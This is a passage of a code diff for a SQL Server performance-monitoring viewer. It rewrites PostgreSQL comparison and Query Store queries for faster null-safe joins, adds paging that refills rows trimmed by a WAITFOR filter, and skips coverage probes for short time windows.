+        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+    {
+        /* #4966: a window no longer than the truncation slack can never get a coverage note. The answer is at or before the window's
+           end, and RawWindowFloor.IsTruncated needs it MORE than the slack after the window's start, so the tab's banner could not
+           show it. The probe would read the store for nothing: it starts no query, as DataWindowFloor.GetForServerAsync's does not.
+           The skip is here, in the viewer's methods, and not in RawWindowFloor.GetAsync: Darling's MCP tools share that probe and
+           read its null as "nothing was read" (see its remarks). */
+        if (endUtc - startUtc <= DurationTrendRouting.TruncationSlack)
+        {
+            return Task.FromResult<DateTime?>(null);
+        }
+
+        return RawWindowFloor.GetAsync(_dataSource, RawWindowFloor.Table.QueryStats, serverId, startUtc, endUtc,
             ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+    }
 
     /// <summary>
     /// Top-Queries comparison — Lite's <c>GetQueryStatsComparisonAsync</c> ported. Unions the top-100
@@ -542,10 +701,13 @@ private async Task<List<ViewerQueryStatsRow>> GetTopQueriesByCpuRawAsync(
     /// per-execution averages, and FULL OUTER JOINs the two so NEW / GONE queries surface. Returns the
     /// shared <see cref="QueryStatsComparisonItem"/> the .Ui comparison grid binds (delta % + badges).
     /// PG dialect deviations from Lite's DuckDB: <c>::double precision</c> casts on the summed bigints
-    /// before the per-execution division; the CTE INNER JOINs keep Lite's null-safe
-    /// <c>IS NOT DISTINCT FROM</c>, but the outer FULL JOIN uses <c>COALESCE(key,'')</c> equality —
-    /// Postgres only FULL-JOINs on merge/hash-joinable conditions and <c>IS NOT DISTINCT FROM</c> is
-    /// neither (query_hash / database_name are never the empty string, so the sentinel is collision-free).
+    /// before the per-execution division; the period joins are null-safe like Lite's
+    /// <c>IS NOT DISTINCT FROM</c> but written as <c>COALESCE(key,'') = COALESCE(key,'')</c> plus an
+    /// <c>IS NULL</c> pair (#5420), and the outer FULL JOIN uses the same pair — Postgres only joins on
+    /// merge/hash-joinable conditions and <c>IS NOT DISTINCT FROM</c> is neither, so it ran as a nested
+    /// loop over every window row. The <c>IS NULL</c> half of the pair keeps a NULL key and an
+    /// empty-string key apart in the outer join too (#5420): the <c>COALESCE</c> alone would merge
+    /// the two groups and fan a row out.
     /// $1 server_id, $2/$3 current window, $4/$5 baseline window (naive UTC).
     /// </summary>
     public const string QueryStatsComparisonSql = """
@@ -579,37 +741,55 @@ UNION ALL
                 SELECT * FROM top_baseline
             ) AS combined
         ),
+        /* #5420: each period aggregates its window ONCE (the derived table w) and the top list joins to that, on the
+           null-safe pair COALESCE(x,'') = COALESCE(y,'') AND (x IS NULL) = (y IS NULL). The old form joined the top list
+           (at most 200 hashes) to the window's rows with IS NOT DISTINCT FROM, which PostgreSQL can only run as a
+           nested loop that filters every window row against every hash: seconds on a 24 hour window, 10 to 24 s on 7 days. */
         current_period AS (
             SELECT th.database_name, th.query_hash,
-                   SUM(qs.delta_execution_count) AS exec_count,
-                   SUM(qs.delta_elapsed_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
-                   SUM(qs.delta_worker_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
-                   SUM(qs.delta_physical_reads)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) AS avg_reads,
-                   MAX(qs.query_text) AS query_text
+                   w.exec_count, w.avg_duration_ms, w.avg_cpu_ms, w.avg_reads, w.query_text
             FROM top_hashes th
-            INNER JOIN v_query_stats qs
-              ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
-              AND qs.database_name IS NOT DISTINCT FROM th.database_name
-            WHERE qs.server_id = $1
-            AND   qs.collection_time >= $2 AND qs.collection_time <= $3
-            AND   qs.delta_execution_count > 0
-            GROUP BY th.database_name, th.query_hash
+            INNER JOIN (
+                SELECT qs.database_name, qs.query_hash,
+                       SUM(qs.delta_execution_count) AS exec_count,
+                       SUM(qs.delta_elapsed_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.delta_worker_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.delta_physical_reads)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) AS avg_reads,
+                       MAX(qs.query_text) AS query_text
+                FROM v_query_stats qs
+                WHERE qs.server_id = $1
+                AND   qs.collection_time >= $2 AND qs.collection_time <= $3
+                AND   ($6::text[] IS NULL OR qs.database_name = ANY($6))
+                AND   qs.delta_execution_count > 0
+                GROUP BY qs.database_name, qs.query_hash
+            ) w
+              ON  COALESCE(w.query_hash, '') = COALESCE(th.query_hash, '')
+              AND (w.query_hash IS NULL) = (th.query_hash IS NULL)
+              AND COALESCE(w.database_name, '') = COALESCE(th.database_name, '')
+              AND (w.database_name IS NULL) = (th.database_name IS NULL)
         ),
         baseline_period AS (
             SELECT th.database_name, th.query_hash,
-                   SUM(qs.delta_execution_count) AS exec_count,
-                   SUM(qs.delta_elapsed_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
-                   SUM(qs.delta_worker_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
-                   SUM(qs.delta_physical_reads)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) AS avg_reads,
-                   MAX(qs.query_text) AS query_text
+                   w.exec_count, w.avg_duration_ms, w.avg_cpu_ms, w.avg_reads, w.query_text
             FROM top_hashes th
-            INNER JOIN v_query_stats qs
-              ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
-              AND qs.database_name IS NOT DISTINCT FROM th.database_name
-            WHERE qs.server_id = $1
-            AND   qs.collection_time >= $4 AND qs.collection_time <= $5
-            AND   qs.delta_execution_count > 0
-            GROUP BY th.database_name, th.query_hash
+            INNER JOIN (
+                SELECT qs.database_name, qs.query_hash,
+                       SUM(qs.delta_execution_count) AS exec_count,
+                       SUM(qs.delta_elapsed_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.delta_worker_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.delta_physical_reads)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) AS avg_reads,
+                       MAX(qs.query_text) AS query_text
+                FROM v_query_stats qs
+                WHERE qs.server_id = $1
+                AND   qs.collection_time >= $4 AND qs.collection_time <= $5
+                AND   ($6::text[] IS NULL OR qs.database_name = ANY($6))
+                AND   qs.delta_execution_count > 0
+                GROUP BY qs.database_name, qs.query_hash
+            ) w
+              ON  COALESCE(w.query_hash, '') = COALESCE(th.query_hash, '')
+              AND (w.query_hash IS NULL) = (th.query_hash IS NULL)
+              AND COALESCE(w.database_name, '') = COALESCE(th.database_name, '')
+              AND (w.database_name IS NULL) = (th.database_name IS NULL)
         )
         SELECT COALESCE(c.database_name, b.database_name) AS database_name,
                COALESCE(c.query_hash, b.query_hash) AS query_hash,
@@ -623,6 +803,8 @@ FROM current_period c
         FULL OUTER JOIN baseline_period b
           ON  COALESCE(c.database_name, '') = COALESCE(b.database_name, '')
           AND COALESCE(c.query_hash, '') = COALESCE(b.query_hash, '')
+          AND (c.database_name IS NULL) = (b.database_name IS NULL)
+          AND (c.query_hash IS NULL) = (b.query_hash IS NULL)
         """;
 
     /// <summary>Top-Queries current-vs-baseline comparison rows (shared .Ui item; delta % + NEW/GONE badges).</summary>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs
index fee3cb7efd..d730868ff4 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs
@@ -196,6 +196,12 @@ FROM query_store_stats
     /// <see cref="QueryStoreIntervalWide.PurgeEdgeMargin"/> is that bound plus an hour (the argument is in
     /// <see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/>'s summary). A static readonly rather than a const
     /// because the interval literal is derived from that TimeSpan; <c>$$"""</c> keeps <c>$1</c> literal.</para>
+    /// <para><b>The upper bound (#5523).</b> A window with an end ($3 not NULL) also carries
+    /// <c>first_execution_time &lt;= $3 + </c><see cref="QueryStoreIntervalWide.FirstExecUpperSlackSql"/>, so the
+    /// <c>(server_id, first_execution_time)</c> btree scans a range finite at both ends instead of everything newer than
+    /// the window start. An open end (NULL) reads to now, as before. It drops a row only for a monitored-server clock more
+    /// than the slack (twelve hours) ahead of the service's, or a collection cycle longer than that
+    /// (<see cref="QueryStoreIntervalWide.FirstExecUpperSlack"/>'s summary).</para>
     /// </summary>
     private static readonly string QueryStoreTopTablePrefix = $$"""
         WITH deduped AS (
@@ -207,6 +213,7 @@ FROM query_store_interval_wide
             AND   collection_time >= $2
             AND   ($3::timestamp IS NULL OR collection_time <= $3)
             AND   first_execution_time >= $2 - {{QueryStoreIntervalWide.PurgeEdgeMarginSql}}
+            AND   ($3::timestamp IS NULL OR first_execution_time <= $3 + {{QueryStoreIntervalWide.FirstExecUpperSlackSql}})
             AND   ($5::text[] IS NULL OR database_name = ANY($5))
         ),
 
@@ -227,7 +234,7 @@ FROM query_store_interval_wide
     /// <summary>Everything from <c>ranked</c> down, shared by <see cref="QueryStoreTopSql"/> and
     /// <see cref="QueryStoreTopTableSql"/> — both prefixes above produce the same "one row per identity, every
     /// column deduped's dedupe/the table's own upsert already kept" shape, so this aggregates either one
-    /// identically. References only $1 and $4 (the prefixes alone bind $2/$3/$5), so both share it unchanged.</summary>
+    /// identically. References $1, $4 and $6, plus $2/$3 (#5420: the inline-text fallback's window bound, the same $2/$3 both prefixes bind), so both share it unchanged.</summary>
     private const string QueryStoreTopSuffix = """
         ranked AS (
             SELECT
@@ -296,9 +303,10 @@ grouping is a no-op and the grid is unchanged. Twins Lite's QueryStore reader. *
             FROM deduped
             WHERE rn = 1
             GROUP BY database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
-            ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS double precision)) DESC
-            LIMIT $4 + 5
-        )
+            ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS double precision)) DESC, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
+            LIMIT $6
+        ),
+        page AS (
         SELECT
             r.database_name,
             r.query_id,
@@ -352,7 +360,8 @@ ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS double precision)) D
             r.avg_num_physical_io_reads,
             r.min_num_physical_io_reads,
             r.max_num_physical_io_reads,
-            r.replica_role
+            r.replica_role,
+            ROW_NUMBER() OVER (ORDER BY r.total_executions * r.avg_duration_ms DESC, r.database_name, r.query_id, r.plan_id, r.query_hash, r.execution_type_desc, r.replica_role) AS page_ord
         FROM ranked AS r
         /* #2150: resolve the text ONCE, inside the lateral, so everything downstream still reads a single
            t.query_text — the projection above and the WAITFOR self-exclusion below both get the resolved
@@ -376,15 +385,30 @@ FROM query_store_stats AS s
                            WHERE s.server_id = $1
                            AND   s.query_id = r.query_id
                            AND   s.database_name = r.database_name
+                           /* #5420: bounded to the read's own window ($2 through $3, the same bound the fact rows
+                              above were read with). Without it a query with no inline text anywhere walked every
+                              retained chunk of query_store_stats on the time index looking for one. A query whose
+                              only inline text is older than the window now shows none, as a query with no text
+                              at all already did. Twins the other copy of this tail; keep them matching. */
+                           AND   s.collection_time >= $2
+                           AND   ($3::timestamp IS NULL OR s.collection_time <= $3)
                            AND   s.query_text IS NOT NULL
-                           ORDER BY s.collection_time DESC
+                           ORDER BY s.collection_time DESC, s.collection_id DESC
                            LIMIT 1
                        )
                    ) AS query_text
         ) AS t ON TRUE
         WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-        ORDER BY r.total_executions * r.avg_duration_ms DESC
+        ORDER BY page_ord
         LIMIT $4
+        )
+        /* #5313: the candidate count rides on its own row, joined to the page, so a round whose candidates were
+           ALL trimmed (every one a WAITFOR statement) still reports it; an empty page used to read as
+           exhausted. page_ord is NULL on that row, which is how the caller tells it from a page row. */
+        SELECT p.*, c.candidate_count
+        FROM (SELECT COUNT(*) AS candidate_count FROM ranked) AS c
+        LEFT JOIN page AS p ON TRUE
+        ORDER BY p.page_ord
         """;
 
     /// <summary>
@@ -443,18 +467,19 @@ reach raw with ZERO extra store round trips versus before this table existed. */
             }
         }
 
-        var rows = new List<ViewerQueryStoreRow>();
-
-        await using var command = _dataSource.CreateCommand(QueryStoreTopSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        AddServerWindowParameters(command, serverId, startUtc, endUtc);
-        command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = top });
-        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        /* #5313: the WAITFOR trim can leave the page short; TopFill asks again with a larger candidate limit ($6)
+           while more candidates exist, under its bound. */
+        var rows = await TopFill.RunAsync(top, async candidates =>
         {
-            rows.Add(ReadQueryStoreTopRow(reader));
-        }
+            await using var command = _dataSource.CreateCommand(QueryStoreTopSql);
+            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            AddServerWindowParameters(command, serverId, startUtc, endUtc);
+            command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = top });
+            command.Parameters.Add(DatabaseFilterParameter(databaseNames));
+            command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = candidates });
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            return await TopFill.ReadPageAsync(reader, QueryStorePageOrdinal, ReadQueryStoreTopRow, cancellationToken);
+        });
 
         return (rows, null);
     }
@@ -492,22 +517,23 @@ reach raw with ZERO extra store round trips versus before this table existed. */
                 return null;
             }
 
-            var rows = new List<ViewerQueryStoreRow>();
-            await using var command = new Npgsql.NpgsqlCommand(QueryStoreTopTableSql, connection, transaction) { CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds };
-            command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = serverId });
-            command.Parameters.Add(new Npgsql.NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(plan.ReadStart, DateTimeKind.Unspecified) });
-            command.Parameters.Add(new Npgsql.NpgsqlParameter
+            /* #5313: the same fill rounds as the raw read, on this transaction's snapshot ($6 is the candidate limit). */
+            var rows = await TopFill.RunAsync(top, async candidates =>
             {
-                NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp,
-                Value = literalEndUtc.HasValue ? DateTime.SpecifyKind(literalEndUtc.Value, DateTimeKind.Unspecified) : DBNull.Value,
+                await using var command = new Npgsql.NpgsqlCommand(QueryStoreTopTableSql, connection, transaction) { CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds };
+                command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = serverId });
+                command.Parameters.Add(new Npgsql.NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(plan.ReadStart, DateTimeKind.Unspecified) });
+                command.Parameters.Add(new Npgsql.NpgsqlParameter
+                {
+                    NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp,
+                    Value = literalEndUtc.HasValue ? DateTime.SpecifyKind(literalEndUtc.Value, DateTimeKind.Unspecified) : DBNull.Value,
+                });
+                command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = top });
+                command.Parameters.Add(DatabaseFilterParameter(databaseNames));
+                command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = candidates });
+                await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+                return await TopFill.ReadPageAsync(reader, QueryStorePageOrdinal, ReadQueryStoreTopRow, cancellationToken);
             });
-            command.Parameters.Add(new Npgsql.NpgsqlParameter<int> { TypedValue = top });
-            command.Parameters.Add(DatabaseFilterParameter(databaseNames));
-            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-            while (await reader.ReadAsync(cancellationToken))
-            {
-                rows.Add(ReadQueryStoreTopRow(reader));
-            }
 
             return (rows, plan);
         }
@@ -520,6 +546,10 @@ reach raw with ZERO extra store round trips versus before this table existed. */
         }
     }
 
+    /// <summary>The ordinal of <c>page_ord</c>, the column after <c>replica_role</c> (#5313): <c>candidate_count</c>
+    /// follows it. <see cref="TopFill.ReadPageAsync{T}"/> reads both.</summary>
+    private const int QueryStorePageOrdinal = 53;
+
     /// <summary>Shared by <see cref="GetQueryStoreTopQueriesAsync"/>'s raw and table paths: both
     /// <see cref="QueryStoreTopSql"/> and <see cref="QueryStoreTopTableSql"/> project the same
     /// <see cref="QueryStoreTopSuffix"/> column list, in the same order.</summary>
@@ -587,18 +617,30 @@ reach raw with ZERO extra store round trips versus before this table existed. */
     /// beside <see cref="GetQueryStoreTopQueriesAsync"/> so the grid header can disclose a window the raw tier
     /// no longer fully holds, the same fact <c>get_query_store_top</c> reports over MCP (#2364). The same
     /// window backs <see cref="GetQueryStoreSlicerDataAsync"/>'s initial (unsliced) read, so one floor read
-    /// covers both rather than a second round trip for the identical [start, end].
+    /// covers both rather than a second round trip for the identical [start, end]. A window no longer than
+    /// <see cref="DurationTrendRouting.TruncationSlack"/> answers null without a store read (#4966): no banner can show for one.
     /// </summary>
     public Task<DateTime?> GetQueryStoreWindowFloorAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
-        RawWindowFloor.GetAsync(_dataSource, RawWindowFloor.Table.QueryStoreStats, serverId, startUtc, endUtc,
+        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+    {
+        /* #4966: a window no longer than the truncation slack can never get a coverage note, so the probe starts no query for it, as
+           DataWindowFloor.GetForServerAsync's does not (GetQueryStatsWindowFloorAsync says why). The skip is here, in the viewer's
+           methods, and not in RawWindowFloor.GetAsync: Darling's MCP tools share that probe and read its null as "nothing was read". */
+        if (endUtc - startUtc <= DurationTrendRouting.TruncationSlack)
+        {
+            return Task.FromResult<DateTime?>(null);
+        }
+
+        return RawWindowFloor.GetAsync(_dataSource, RawWindowFloor.Table.QueryStoreStats, serverId, startUtc, endUtc,
             ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+    }
 
     /// <summary>
     /// Query-Store comparison — Lite's <c>GetQueryStoreComparisonAsync</c> ported. Uses execution-count
     /// weighted averages (<c>SUM(execution_count * avg_metric) / SUM(execution_count)</c>) so periods with
     /// uneven interval counts aggregate correctly, top-100-union + FULL OUTER JOIN keyed on
-    /// (database, query_hash). Returns the shared <see cref="QueryStatsComparisonItem"/>.
+    /// (database, query_hash), each key joined as <c>COALESCE(key,'') = COALESCE(key,'')</c> plus an <c>IS NULL</c> pair so
+    /// a NULL key and an empty-string key stay apart (#5420). Returns the shared <see cref="QueryStatsComparisonItem"/>.
     /// $1 server_id, $2/$3 current window, $4/$5 baseline window (naive UTC).
     /// </summary>
     public const string QueryStoreComparisonSql = """
@@ -683,52 +725,68 @@ UNION ALL
                 SELECT * FROM top_baseline
             ) AS combined
         ),
+        /* #5420: each period aggregates its deduped rows ONCE (the derived table w) and the top list joins to that, on the
+           null-safe pair COALESCE(x,'') = COALESCE(y,'') AND (x IS NULL) = (y IS NULL). The old form joined the top list
+           (at most 200 hashes) to the window's rows with IS NOT DISTINCT FROM, which PostgreSQL can only run as a
+           nested loop that filters every window row against every hash: seconds on a 24 hour window, 18 to 24 s on 7 days. */
         current_period AS (
             SELECT th.database_name, th.query_hash,
-                   SUM(qs.execution_count) AS exec_count,
-                   SUM(qs.execution_count * qs.avg_duration_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
-                   SUM(qs.execution_count * qs.avg_cpu_time_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
-                   SUM(qs.execution_count * qs.avg_logical_io_reads::double precision) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
-                   /* #2150: this comparison groups by query_hash, but text is stored per query_id, so the
-                      side table is joined on the finer key and MAX still picks one member's text for the
-                      group — the same arbitrary-but-deterministic choice MAX(qs.query_text) made before.
-                      The join cannot fan out (query_store_text is one row per server/database/query_id, by
-                      primary key), so the execution-count SUMs above are unaffected. The COALESCE keeps
-                      pre-cutover rows, whose text is still inline, reading exactly as they used to. */
-                   MAX(COALESCE(x.query_sql_text, qs.query_text)) AS query_text
+                   w.exec_count, w.avg_duration_ms, w.avg_cpu_ms, w.avg_reads, w.query_text
             FROM top_hashes th
-            INNER JOIN deduped_current qs
-              ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
-              AND qs.database_name IS NOT DISTINCT FROM th.database_name
-            LEFT JOIN query_store_text AS x
-              ON  x.server_id = $1
-              AND x.database_name = qs.database_name
-              AND x.query_id = qs.query_id
-            WHERE qs.rn = 1
-            AND   qs.execution_count > 0
-            GROUP BY th.database_name, th.query_hash
+            INNER JOIN (
+                SELECT qs.database_name, qs.query_hash,
+                       SUM(qs.execution_count) AS exec_count,
+                       SUM(qs.execution_count * qs.avg_duration_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.execution_count * qs.avg_cpu_time_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.execution_count * qs.avg_logical_io_reads::double precision) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
+                       /* #2150: this comparison groups by query_hash, but text is stored per query_id, so the
+                          side table is joined on the finer key and MAX still picks one member's text for the
+                          group — the same arbitrary-but-deterministic choice MAX(qs.query_text) made before.
+                          The join cannot fan out (query_store_text is one row per server/database/query_id, by
+                          primary key), so the execution-count SUMs above are unaffected. The COALESCE keeps
+                          pre-cutover rows, whose text is still inline, reading exactly as they used to. */
+                       MAX(COALESCE(x.query_sql_text, qs.query_text)) AS query_text
+                FROM deduped_current qs
+                LEFT JOIN query_store_text AS x
+                  ON  x.server_id = $1
+                  AND x.database_name = qs.database_name
+                  AND x.query_id = qs.query_id
+                WHERE qs.rn = 1
+                AND   qs.execution_count > 0
+                GROUP BY qs.database_name, qs.query_hash
+            ) w
+              ON  COALESCE(w.query_hash, '') = COALESCE(th.query_hash, '')
+              AND (w.query_hash IS NULL) = (th.query_hash IS NULL)
+              AND COALESCE(w.database_name, '') = COALESCE(th.database_name, '')
+              AND (w.database_name IS NULL) = (th.database_name IS NULL)
         ),
         baseline_period AS (
             SELECT th.database_name, th.query_hash,
-                   SUM(qs.execution_count) AS exec_count,
-                   SUM(qs.execution_count * qs.avg_duration_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
-                   SUM(qs.execution_count * qs.avg_cpu_time_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
-                   SUM(qs.execution_count * qs.avg_logical_io_reads::double precision) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
-                   /* #2150 — same resolution as current_period above. Both arms need it because the final
-                      projection takes COALESCE(c.query_text, b.query_text): converting only one arm would
-                      leave a GONE row (present in baseline only) with no text to fall back to. */
-                   MAX(COALESCE(x.query_sql_text, qs.query_text)) AS query_text
+                   w.exec_count, w.avg_duration_ms, w.avg_cpu_ms, w.avg_reads, w.query_text
             FROM top_hashes th
-            INNER JOIN deduped_baseline qs
-              ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
-              AND qs.database_name IS NOT DISTINCT FROM th.database_name
-            LEFT JOIN query_store_text AS x
-              ON  x.server_id = $1
-              AND x.database_name = qs.database_name
-              AND x.query_id = qs.query_id
-            WHERE qs.rn = 1
-            AND   qs.execution_count > 0
-            GROUP BY th.database_name, th.query_hash
+            INNER JOIN (
+                SELECT qs.database_name, qs.query_hash,
+                       SUM(qs.execution_count) AS exec_count,
+                       SUM(qs.execution_count * qs.avg_duration_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.execution_count * qs.avg_cpu_time_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.execution_count * qs.avg_logical_io_reads::double precision) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
+                       /* #2150 — same resolution as current_period above. Both arms need it because the final
+                          projection takes COALESCE(c.query_text, b.query_text): converting only one arm would
+                          leave a GONE row (present in baseline only) with no text to fall back to. */
+                       MAX(COALESCE(x.query_sql_text, qs.query_text)) AS query_text
+                FROM deduped_baseline qs
+                LEFT JOIN query_store_text AS x
+                  ON  x.server_id = $1
+                  AND x.database_name = qs.database_name
+                  AND x.query_id = qs.query_id
+                WHERE qs.rn = 1
+                AND   qs.execution_count > 0
+                GROUP BY qs.database_name, qs.query_hash
+            ) w
+              ON  COALESCE(w.query_hash, '') = COALESCE(th.query_hash, '')
+              AND (w.query_hash IS NULL) = (th.query_hash IS NULL)
+              AND COALESCE(w.database_name, '') = COALESCE(th.database_name, '')
+              AND (w.database_name IS NULL) = (th.database_name IS NULL)
         )
         SELECT COALESCE(c.database_name, b.database_name) AS database_name,
                COALESCE(c.query_hash, b.query_hash) AS query_hash,
@@ -742,6 +800,8 @@ FROM current_period c
         FULL OUTER JOIN baseline_period b
           ON  COALESCE(c.database_name, '') = COALESCE(b.database_name, '')
           AND COALESCE(c.query_hash, '') = COALESCE(b.query_hash, '')
+          AND (c.database_name IS NULL) = (b.database_name IS NULL)
+          AND (c.query_hash IS NULL) = (b.query_hash IS NULL)
         """;
 
     /// <summary>Query-Store current-vs-baseline comparison rows (shared .Ui item; delta % + NEW/GONE badges).</summary>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreClutter.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreClutter.cs
index 19961a10a0..be0f9bd8ec 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreClutter.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreClutter.cs
@@ -157,6 +157,49 @@ public sealed record QueryStoreClutterResult(
         List<QueryStoreClutterRow> Databases,
         QueryStoreOverheadSummary Overhead);
 
+    /// <summary>
+    /// Where this server's coverage starts for the window the clutter read draws (#4966), through the shared probe
+    /// (<see cref="DataWindowFloor"/>). The panel draws from two ranged sources: the plan churn from <c>query_store_stats</c>, and the
+    /// read cost from the collection log (the runs of the <c>query_store</c> collector). Both are aggregates over the window, so the
+    /// coverage rule applies to each, and the note names the LATER of the two starts, which makes it true of every column the panel
+    /// shows. Its config and memory-clerk sections show the newest snapshot only and need no note. A source that comes back alone is
+    /// named; when neither does the answer is null.
+    ///
+    /// <para>The read cost's source counts the <c>query_store</c> collector's runs and no other collector's (#5022): the name is the
+    /// one the panel's read-cost SQL binds (<see cref="DarlingQueryStoreClutterReader.CollectorName"/>). A server that logged other
+    /// collectors' runs but never ran that one has no read cost, so it names nothing above an empty panel, and another collector's
+    /// earlier runs cannot move the note earlier.</para>
+    ///
+    /// <para>Two probe calls, not one: <see cref="DataWindowFloor.GetForServerAsync"/> takes one source, and the shared probe's
+    /// several-source form (<see cref="DataWindowFloor.GetAsync"/>) answers the EARLIEST start among its sources, which is the rule for
+    /// the two halves of a stitched rollup and the opposite of this panel's. The caller works the window out once and hands the same
+    /// start to this probe and to <see cref="GetQueryStoreClutterAsync"/>. A range that reaches before the later start names it, and a
+    /// covered range whose first rows came late names nothing. Null too when the window lies wholly before the coverage, and for a
+    /// window of 90 minutes or less, which makes no probe call. A probe that throws throws here (see <see cref="LaterStartAsync"/>).</para>
+    /// </summary>
+    public Task<DateTime?> GetQueryStoreClutterDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        LaterStartAsync(
+            () => DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("query_store_stats"), serverId, startUtc, endUtc,
+                ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken),
+            () => DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorRuns(DarlingQueryStoreClutterReader.CollectorName), serverId, startUtc, endUtc,
+                ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken));
+
+    /// <summary>
+    /// The later of the two coverage starts the clutter panel's sources came back with (#4966): the plan churn's, then the read cost's,
+    /// each probed in turn. A start that came back alone is the answer, and neither is null. A probe that throws throws here, so the
+    /// tab's guard (<c>DataStartOrNullAsync</c>) drops the note and the panel loads without it, and a first probe that failed starts no
+    /// second. <c>internal static</c> so the tests run the choice, and a failing probe, without a store.
+    /// </summary>
+    internal static async Task<DateTime?> LaterStartAsync(Func<Task<DateTime?>> planChurnStart, Func<Task<DateTime?>> readCostStart)
+    {
+        ArgumentNullException.ThrowIfNull(planChurnStart);
+        ArgumentNullException.ThrowIfNull(readCostStart);
+
+        var planChurn = await planChurnStart();
+        var readCost = await readCostStart();
+        return planChurn is { } churn && readCost is { } cost ? (churn >= cost ? churn : cost) : planChurn ?? readCost;
+    }
+
     /// <summary>
     /// The clutter view for one server over the toolbar's window. Runs the four shared arms, composes them
     /// with the shared arithmetic, and projects the result for the grid.
@@ -174,9 +217,9 @@ public async Task<QueryStoreClutterResult> GetQueryStoreClutterAsync(
         CancellationToken cancellationToken = default)
     {
         var serverIds = new[] { serverId };
